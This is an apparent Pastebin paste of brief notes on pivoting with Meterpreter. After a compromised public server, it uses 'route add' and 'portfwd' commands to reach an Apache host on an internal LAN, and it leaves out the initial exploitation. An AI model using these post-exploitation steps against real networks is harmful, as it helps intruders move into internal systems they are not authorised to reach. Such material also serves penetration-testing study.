Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Port Forwarding w/ Meterpreter
- ATTACKER -----> INTERNET -----> SERVER1 -----> SERVER2
- meterpreter apache :80
- Server1: Public IP: 200.164.10.20 Server2: LAN IP: 10.10.10.20
- LAN IP: 10.10.10.10
- 1 - Exploit server 1 w/ metasploit-meterpreter (figure it out how)
- 2 - Add Route
- meterpreter> route add 10.10.10.10 255.255.255.0 3 (3 = metrepreter session ID)
- 3 - Set port forward
- meterpreter> portfwd -l 25000 -p 80 -r 10.10.10.20
- 4 - use Firefox to access Apache (10.10.10.20)
- http://127.0.0.1:25000
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement